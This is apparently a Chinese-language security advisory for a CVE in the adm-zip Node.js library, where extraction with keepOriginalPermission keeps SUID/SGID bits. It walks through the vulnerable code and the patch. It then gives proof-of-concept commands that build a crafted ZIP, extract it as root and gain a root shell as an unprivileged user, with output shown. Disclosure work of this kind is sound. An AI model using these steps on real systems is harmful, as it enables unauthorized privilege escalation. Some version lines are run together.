
CVE-2026-102282:归档解压期间通过保留 SUID/SGID 实现本地权限提升
adm-zip 是一个成熟的、纯 JavaScript 编写的 Node.js ZIP 归档库,在 npm 生态系统中每周下载量超过 2000 万次。它被广泛集成到 CI/CD 流水线、容器构建工作流、云部署工具和服务端应用程序中,用于处理归档压缩和解压。
在解压过程中,adm-zip 支持一个 keepOriginalPermission 配置选项,旨在恢复归档中记录的 POSIX 权限。然而,该库未能过滤掉带有特殊权限的 Unix 文件模式位:SUID(S_ISUID,0o4000)、SGID(S_ISGID,0o2000)以及粘滞位(S_ISVTX,0o1000)。
当应用程序以提升的权限(例如 root 级别的 CI 运行器、Docker 容器入口点或后端任务守护进程)运行,并使用 keepOriginalPermission = true 解压不受信任的 ZIP 归档时,adm-zip 会通过 fs.chmodSync() 将攻击者指定的 SUID/SGID 位应用到磁盘上。这会在主机文件系统上创建一个由 root 拥有的 SUID 可执行文件,允许非特权本地用户执行该二进制文件并立即获得 root 权限。
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1在 PKWARE ZIP 格式规范中,Unix 文件权限存储在中央目录头(Central Directory Header)的 32 位 external file attributes 字段中(字节 38-41)。在 Unix 兼容的归档中,高 16 位编码文件类型和 12 位 POSIX 权限模式(0o7777)。
在 <= 0.6.0 版本中,headers/entryHeader.js 使用了 12 位位掩码(0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
位掩码 0xfff(二进制 1111 1111 1111)提取了整个低 12 位,不仅保留了标准的读/写/执行权限(0o777),还保留了特殊权限位 0o4000(SUID)、0o2000(SGID)和 0o1000(粘滞位)。
在 0.6.1 版本中,掩码被限制为 0o777(十进制 511),剥离了所有特殊权限位:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
该问题在解压时启用 keepOriginalPermission 时触发:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
在 util/utils.js 中,提取的属性未经校验直接传递给文件系统:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
当解压进程以 root(euid 0)身份运行在未使用 nosuid 挂载的文件系统上时,fs.chmodSync() 会将提取文件的权限设置为模式 0o4755(-rwsr-xr-x),属主为 root:root。
[email protected])归档创建与特权解压:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
由非特权本地用户(uid=1000)执行:
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
当以提升的权限处理不受信任的 ZIP 文件时——例如自动化构建代理、共享托管环境、无服务器容器初始化例程以及插件安装框架——非特权用户可以提供一个精心构造的归档文件,植入一个任意的由 root 拥有的 SUID 二进制文件,从而导致**本地权限提升(LPE)**以及以 root 身份执行任意代码。
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip 版本以 root 身份解压:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
注意:目标解压目录必须位于未使用 nosuid 挂载的文件系统上。
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - 基础评分 7.1)0.6.1 中修复